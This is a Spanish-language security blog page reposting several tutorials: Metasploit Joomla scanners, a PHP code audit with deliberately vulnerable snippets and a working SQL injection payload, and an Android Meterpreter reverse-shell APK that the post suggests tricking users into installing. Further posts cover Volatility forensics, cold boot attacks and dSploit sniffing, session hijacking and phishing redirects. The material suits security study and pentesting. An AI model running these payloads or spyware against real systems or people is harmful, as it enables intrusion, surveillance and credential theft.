Banner 1

Auditando Servidores Web Joomla con Metasploit

0 comentarios



Muchas veces cuando realizamos alguna Auditoria enfocada hacia Servidores Web, uno de los pasos mas importante que se debe realizar es Information Gathering (Recopilación de Información)  ya que esta es el paso más crítico de una prueba de seguridad de aplicaciones web que puede llevarse a cabo de muchas maneras diferentes, mediante el uso de herramientas públicas (motores de búsqueda), escáners, envío de simples peticiones HTTP o solicitudes especialmente diseñadas.
Cuando se Audita un Servidor Web Joomla, siempre es muy necesario obtener información exacta sobre que versión se encuentra instalada en el servidor, como también los Plugins instalados, esto nos ayudara mucho a determinar que Exploit debemos usar, o ver la manera exacta de explotar las vulnerabilidades, ya que una de las "mejores" formas de ingresar a un Joomla es mediante las vulnerabilidades que se encuentran en los Plugins.
Por ello, en esta entrada se mostraran los 3 módulos que se integran en Metasploit (Joomla Page Scanner, Joomla Plugin Scanner y Joomla Version Scanner) que nos ayudaran mucho a realizar este paso tan importante en nuestras Auditorias.


En primer lugar, abrimos nuestro msfconsole y tecleamos search Joomla, esta nos mostrara los 3 módulos disponibles para Auditar servidores web Joomla.
Lo primera información que debemos obtener es la versión instalada en la aplicación  por ello utilizaremos el modulo Joomla Version, utilizando los siguiente comandos:
-------------------------------------------------------------------------------------------------------------
use auxiliary/scanner/http/joomla_version
set RHOSTS www.sitio-web.com
run
-------------------------------------------------------------------------------------------------------------


En este paso hemos obtenido la información exacta sobre la versión que esta corriendo en dicha aplicación web (Joomla Version: 2.5.0) , como tambien el S.O.
Seguidamente utilizaremos el modulo Joomla Pages, esta analizara las paginas instaladas en la aplicación web, para tal caso utilizaremos los siguientes comandos:
-------------------------------------------------------------------------------------------------------------
use auxiliary/scanner/http/joomla_pages
set RHOSTS www.sitio-web.com
run
-------------------------------------------------------------------------------------------------------------


En este paso solo se obtuvieron 3 resultados, como es el robots.txt que en la mayoría de Joomla se encuentran, y obviamente la pagina /administrator/ que nos permitirá ingresar al sistema con las credenciales correctas. 
Y bueno en este ultimo modulo Joomla Plugins, obtendremos todos los Plugins instalados en la aplicación web, incluido con las vulnerabilidades de Sql Injection y LFI que se puedan encontrar en cada plugin.
-------------------------------------------------------------------------------------------------------------
use auxiliary/scanner/http/joomla_plugins
set RHOSTS www.sitio-web.com
run
-------------------------------------------------------------------------------------------------------------


Como se puede apreciar, se obtuvieron todos los plugins que cuenta dicha aplicación web, por tanto a partir de allí  podremos realizar nuestra auditoria mas a fondo, en busca de exploits para cada plugin obtenido.
Después de haber Auditado la Aplicación Web con estos 3 módulos que nos ofrece Metasploit, también es posible ejecutar 3 comandos mas (hosts, services, notes), que nos permitirá obtener información sobre IP's, nombres del Sistema Operativo que utiliza como también los puertos y servicios.
Por ultimo, el comando notes, nos mostrara toda la información obtenida durante la Auditoria que hemos realizado ejecutando los 3 módulos.
Existen muchas otras herramientas y métodos que nos permite obtener toda esta información, pero no siempre falta saber alguna que otra como este simple tutorial.

Espero les sirva, saludos ;)

Fuente:http://calebbucker.blogspot.com/2013/02/auditando-servidores-web-joomla-con.html

PHP Audit - El Arte de encontrar 0-days en Aplicaciones Webs

0 comentarios



Esta vez, vamos a ver algo sobre 0-days, gracias a un amigo con el seudónimo Join7 del foro ZentrixPlus donde ha realizado un tutorial en la cual explica detalladamente como encontrar 0-days en aplicaciones webs.
Antes de empezar con el tutorial, es necesario contar con conocimientos básicos de PHP y MySQL como también sobre algunas vulnerabilidades comunes y la forma en que funcionan. Resaltar que no es necesario ser un programador profesional, solo basta con ser capaz de leer y entender PHP.
Si aun no cuenta con un pequeño conocimiento sobre PHP y necesita aprender lo básico para que pueda entender este tutorial, puede ingresar a los siguientes tutoriales:


Tutorial PHP:
Tutorial MySQL:


1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:
¿Por qué utilizar un entorno de Auditoria?
Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.
Web Server:
Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.
¿Que es lo que vamos a Auditar?
Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.
Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Guía de Instalaciónhttp://docs.mybb.com/Installing.html
WordPress
Joomla
SMF:
2.- LO QUE DEBEMOS BUSCAR:
User input:
La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.
$_POST
Un array asociativo de variables pasadas al script actual mediante el método HTTP POST
$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.
$_COOKIE
Un array asociativo de variables pasadas al script actual a través de cookies HTTP.
$_SERVER
$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.
$_FILES
Una matriz asociativa de artículos subidos al script actual a través del método HTTP POST.
---------------------------------------------------------------------------------------------
Posibles Funciones Vulnerables:
Sql Injection:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------



Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.


He aquí algunas funciones comunes que posiblemente sean vulnerables:
  • mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
  • mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
  • mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
  • mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
  • mysql_num_rows - Devuelve el número de filas en el resultado.
  • mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------

$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------

  • include()
  • require()

Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).
Upload:

---------------------------------------------------------------------------------------------

$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------

  • $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
---------------------------------------------------------------------------------------------

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------

  • passthru()
  • system()
  • eval()
  • exec()


3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.

Grep:

Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:

---------------------------------------------------------------------------------------------

$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------

Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------

Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------
Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/
4.- AUDITORIA EN EL MUNDO REAL:
Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
grep "\$_GET" dymy_ua.php -i -n
grep "\$_GET" dymy_ua.php -i -n
grep "mysql_" dymy_ua.php -i -n
grep "include" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------
Salida:
Nada util.
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;

$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n 
---------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' {$os}'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(' {$browser}'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;

$db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}
')."#",'',0);
}

function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
global $templates;

if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
------------------------------------------------------------------------------------------------------------------
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium'' 
------------------------------------------------------------------------------------------------------------------
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:
Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.
CRÉDITOS:
Autor: Join7
Saludos.

Fuente: calebbucker.blogspot.com/2013/01/php-audit-el-arte-de-encontrar-0-days.html

Meterpreter para android

0 comentarios
 Hace ya una buena temporada que venía haciendo un "marcaje de cerca" a ESTE "Pull Request" que existía en el GitHub sobre una iniciativa para portar el Meterpreter Java para Android, que aunque pueda parecer trivial porque las aplicaciones de Android se programan en Java, no es exactamente portable el Java "habitual" que el Java para la máquina virtual Dalvik que tenemos en nuestros Android.
Durante este tiempo he ido bajándome el fork de Metasploit de timwr, que ha sido una de las personas que más han contribuido en esta nueva versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante estable, salvo algún error que me encontré que tuve que arreglar desempaquetando el APK, modificando alguna cosa y volviéndolo a empaquetar para su uso.
Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho un commit de esta funcinalidad hace unos pocos días, por lo que en teoría ya tenéis la funcionalidad en el fork principal de Metasploit. Vamos a ver si es verdad:

$ ./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[...]
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java


La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen pensar que la funcionalidad del nuevo Meterpreter para Android ha sido incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma nuestra teoría:

$ ./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)


¡Genial! Parece que se acabó eso de tener que instalar dos forks de Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a generar un APK con un Meterpreter con reverse shell, a ver si conseguimos que alguien se lo instale y jugamos un poco con él :)

$ ./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R > meter.apk


Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos saca el APK. Veámoslo:

$ file meter.apk 
meter.apk: Zip archive data, at least v2.0 to extract


Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más que un ZIP que contiene una serie de ficheros con un formato determinado. Ahora solo tenemos que instalar la aplicación en un Android, generalmente con algún tipo de engaño. Este APK es más bien una prueba de concepto, porque viene con un icono azul de Metasploit, pero podría esconderse el mismo código en una aplicación que "diera el pego" y el efecto sería el mismo. Al arrancar la aplicación se recibe la conexión inversa.


$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E




Ya hemos comprobado que el Meterpreter para Android, funcionar funciona, pero lo que no sabemos es que funcionalidades tiene. Evidentemente, como sucede en las versiones Java y Linux, la funcionalidad es mucho más reducida que en la versión para Windows, pero aún así hay funcionalidades muy interesantes que nos pueden servir para ilustrar los riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con funcionalidad para realizar fotografías empleando tanto la cámara delantera como la trasera, si estuviera disponible. Otra funcionalidad que me pareció extremadamente interesante fue la posibilidad de activar el micrófono y usar el terminal como un micro oculto. Esta no conseguí hacerla funcionar en el teléfono que lo probé, pero supongo que poco a poco irán puliendo estos detalles.




Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por donde va el usuario. Sin duda un gran trabajo de la gente que ha contribuido con este módulo y de la gente de Rapid7 al ayudar a su integración en Metasploit.
Otra de las funcionalidades que pueden impresionar menos a nivel mediático, pero que resultan muy peligroso a nivel corporativo, es la posibilidad de hacer port-relaying desde el terminal móvil. Digo que interesa a nivel corporativo porque, a un usuario "de casa", no se saca nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a la red interna de la empresa?

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80


Lo dicho, un gran trabajo de la colaboración de la comunidad y del equipo de desarrollo de Metasploit que seguro que nos va a dar mucho juego.

Fuente:http://www.pentester.es/2013/05/nuevo-meterpreter-para-android.html

Volatility Framework: Obteniendo el histórico de un CMD

0 comentarios
Volatility Framework permite al forense analizar en toda su dimensión el estado de la memoria RAM de un equipo en el instante concreto en el que se recogió la evidencia. Volatility se encuentra escrito en Python, y mediante la ejecución de plugins sobre un fichero de captura de RAM se puede saber todo tipo de cosas, como por ejemplo:
  • Procesos en ejecución en la máquina en ese instante.
  • Ficheros abiertos por los procesos.
  • Servicios del sistema en la máquina.
  • Extraer información de ficheros para su posterior análisis.
  • Obtención de DLLs.
  • Obtención de direcciones de memoria donde se encuentran elementos de Windows importantes (por ejemplo, hashdump o LSA Secrets).
  • Historial de ciertas aplicaciones.
  • Búsqueda de pass con strings.
  • Conexiones de red.
  • Etcétera.
Hoy vamos a ver un pequeño ejemplo de como podremos obtener el histórico de un CMD, el cual se haya en la memoria RAM, gracias a el plugin consoles de Volatility Framework.
PoC: Consoles
En primer lugar debemos tener una captura de RAM, por ejemplo en formato DMP (standard de Microsoft), el cual referenciaremos mediante el parámetro -f. La distribución que utilizaremos será Kali Linux, donde Volatility ya viene instalado por defecto. La sintaxis para realizar esta acción es vol -f consoles. Esta acción proporciona una salida, que a priori presenta un gran volumen de información. En primer lugar muestra un resumen de los ejecutables que fueron lanzados desde el CMD, indicando la dirección de memoria donde se encuentra dicha ejecución.
Si bajamos en la salida por pantalla que proporciona Volatility se puede ver el listado de los comandos ejecutados secuencialmente en esa sesión de CMD. Es importante visualizar esa lista para entender fácilmente que es lo que el usuario escribió en dicha sesión de CMD. Se puede ver lo fácil que es obtener dicha información.
SI seguimos bajando en la salida veremos lo que ha devuelto por pantalla dichos comandos que el usuario ha ejecutado. Esto es algo realmente interesante, para ver que es lo que el usuario consiguió realizar en dichas ejecuciones.


Interesante probar Volatility Framework e ir estudiando todas las posibilidades que ofrece la herramienta. En futuros posts seguiremos hablando de dicho framework.

Fuente:http://www.flu-project.com/volatility-framework-obteniendo-el-historico-de-un-cmd.html

COLD BOOT ATTACK: El peligro de la persistencia en la memoria RAM

0 comentarios
Cold Boot Attack
Que tal, bueno el día de hoy hablare de lo que es elCold Boot Attack (ataque de arranque en frió) , este ataque se basa en aprovechar la persistencia en la memoria ram mediante el enfriamiento de la memoria.
Pero primero que nada:
¿Que es la persistencia?  Es la capacidad de un equipo para mantener la información incluso después de apagar la computadora.
La persistencia en la memoria ram es ocasionada por el material con las que están fabricadas, esta persistencia después de apagar la computadora puede tardar hasta 1 o 2 minutos en borrar por completo la información de la memoria.
El Cold boot attack se realiza enfriando la memoria para extender el tiempo de la persistencia de la información hasta 5 a 10 minutos.
Esta información es basada sobre una investigación hecha por la universidad de Princeton https://citp.princeton.edu/research/memory/
Aquí es donde entra la inseguridad, como hemos visto en post pasados de como Obtener las credenciales de servicios desde la memoria ram  el peligro que puede ser que nos saquen una copia a nuestra memoria Ram.
Imagen que muestra la persistencia en la memoria Ram hasta los 5 minutos después de apagar el equipo
Antes los investigadores forenses se llevaban el equipo informático apagado, ahora realizan puentes eléctricos para poderse llevar los equipos al laboratorio sin a pagarlo.
En esta ocasión mostrare un poco de la investigación hecha por princeston en la cual se basan en obtener las credenciales de los cifrados como de Bitlocker o Truecrypt, el problema es que la clave de cifrado tambien se guarda en la memoria RAM, y es posible extraerla.
Para realizar un dumpeo de una memoria ram con un cold boot attack se puede hacer la siguiente forma.
1.- Destapar las tapas de la memoria ram, y sin apagar usar un bote casero de Aire comprimido. Estos tiene una particularidad en que si los usas en una posicion que queden al revez, sueltan un liquido muy frio que se puede aplicar en la memoria directamente para enfriarla. En un caso mucho mas profesional se usa el nitrógeno
2.- Enfriamos la memoria, y cortamos la energia de la computadora o la apagamos bruscamente.
3.- Al volver a encenderla tenemos se tiene que bootear desde una usb o por PXE, podemos usar estas herramientas que brinda la universidad de princeston https://citp.princeton.edu/research/memory/code/
4.- Con la herramienta ya booteada podremos realizar una copia bit stream de la memoria, para poder analizarla. Tambien como parte de la investigacion de la universidad  de princeston publicaron herramientas para la localizacion de las Claves (AES o RSA).
Veamos el video de la prueba de concepto hecha por alumnos del Princeston.
embedded by Embedded Video

Bueno ya podemos ver lo valioso de la información guardada en la memoria RAM.
Contra medidas:  Aumentar la seguridad física de tu equipo informático, y apagar la computadora si no esta en uso.

Saludos

Fuente: http://www.flu-project.com/cold-boot-attack-el-peligro-de-la-persistencia-en-la-memoria-ram.html

Dsploit: Pentesting con tu Smartphone

0 comentarios
A día de hoy hay infinidad de herramientas para pentesting. El pentesting, es un vocablo inglés que viene a significar “Test de penetración”. Básicamente esta tarea las componen un conjunto de aplicaciones que realizan un determinado proceso. Todas juntas hacen una suite informática para testear nuestras redes.
Distribuciones como Backtrack, Kali Linux o Wifislax (basados en Linux) poseen en sus entrañas software para auditar todo tipo de sistemas informáticos.

Desde un simple y a la vez potente escaneo de puertos con nmap, hasta testear la fortaleza de nuestra red Wi-Fi. 

Todo esto, a su vez es realizado con dispositivos como portátiles, netbooks, ordenadores de sobremesa, servidores, etc… 

Pero hoy podemos ir más allá. Con el uso masificado ya de smartphones y tablets, tenemos en nuestras manos posibilidades muy interesantes para poner a prueba cualquier red de nuestra propiedad.
Para ello, hay una suite para Android llamada DSPLOIT, la cual permite multitud de opciones tan operativas como si estuviéramos ejecutando Backtrack o Kali Linux en nuestro portátil o equipo de sobremesa.

Obviamente todo depende la potencia de nuestro smartphone o tablet para ejecutar los procesos pertinentes a la hora de “probar” nuestra red.
dsploit

Para poder probar esta suite tenemos que irnos a la Web del desarrollador para descargarla. La Web en cuestión es http://www.dsploit.net/ . La descarga directa aquí.

Cuando pasemos el “APK” (Extensión que usan las aplicaciones Android) e instalemos en nuestro terminal, nos conectamos a nuestra red Wi-Fi e iniciamos la aplicación. Es un poco “pesada” y suele ralentizar nuestro móvil pero todo dependerá de la potencia de nuestro terminal.

En nuestro caso hemos usado un Nexus 4 con 1,5 Ghz y 2 GB de Ram.
Al iniciar la aplicación y tras unos segundos de “angustia” mientras que Dsploit escanea en busca de dispositivos, nos aparecerá un menú similar a la siguiente captura:

1

Como se puede apreciar, nos muestra la red en la que nos encontramos, el punto de acceso con su dirección MAC (Oculta), marca y modelo del AP, dispositivos conectados con sus MACs (Ocultas), y marca/modelo. Esto ya es importante puesto que nos da información de que dispositivos hay y que modelo son. (Information Gathering, ¿os acordáis?).

Bien, pues la idea es hacer un MITM (Man In The Middle) para que nuestro móvil sea el que maneje el “cotarro”. Elegimos la red donde nos encontramos para que todos los dispositivos conectados a ella, sean víctimas de nuestro ataque. Obviamente como es nuestra red, está todo controlado y sabemos a qué nos exponemos.

Al elegir nuestra red, la primera opción, nos dará la opción de hacer el ataque MITM. Tal como se muestra en la siguiente captura.

4

 Elegimos la opción para ver que posibilidades nos ofrece. Y veremos la siguiente imagen.

5

Las opciones son variadas. La primera “Simple Sniff“, guarda el tráfico dirigido a la red, y lo guarda en un pcap. ¿Qué se os ocurre? Pues ese pcap podemos extraerlo a un portátil posteriormente y analizarlo con nuestro Wireshark o Network Miner por ejemplo.
La segunda, “Password Sniffer” opción busca contraseñas en diferentes protocolos, tal como http, ftp, imap, irc, msn, etc… Es decir, si navegamos en una red que está siendo auditada por Dsploit y entramos a nuestro Webmail pueden capturar nuestra contraseña. El problema es que hay más.
La tercera opción “Session Hijacker“, realiza secuestro de sesiones. Mediante esta opción se puede capturar las credenciales de sesión mientras un usuario navega por sus redes sociales, correo electrónico… Una vez obtenida la sesión, el resto ya sabemos qué podría pasar…
Aquí os mostramos como hemos secuestrado la sesión de administrador de nuestro sitio.

2

Kill Connections” sirve básicamente para destruir las conexiones a la red que estemos conectados. Si la activo matará cualquier intento de conexión, dejando a los clientes sin acceso. 
Redirect” hace una cosa muy sencilla. La víctima entra a su Twitter o Facebook mediante la Web pero en esta opción le decimos que queremos que cuando ponga esto se le redirija a 192.168.50.100 donde tenemos montado una Web de Phising para que entre su usuario y contraseña, y automáticamente a su vez, redirije a la Web real de Twitter o Facebook. Con esto conseguimos que la víctima, introduzca su usuario y clave en nuestra Web maligna, capturemos dichas credenciales y lo redirijamos a la Web original para no levantar sospechas. Pero recordad que hablamos desde la forma de actuar de un atacante y que esto en redes ajenas es ilegal, no lo olvidéis.
La sexta opción, “Replace Images” nos sustituye las imágenes de una Web por la que elijamos. Es decir, cuando seleccione por ejemplo una imagen de un paisaje y entre a nuestro blog, nos mostrará dicha imagen sustituyendo a todas las que tenga nuestro blog. ¿Para que sirve esto? Bueno, para molestar e interferir en el funcionamiento normal de un sitio Web.
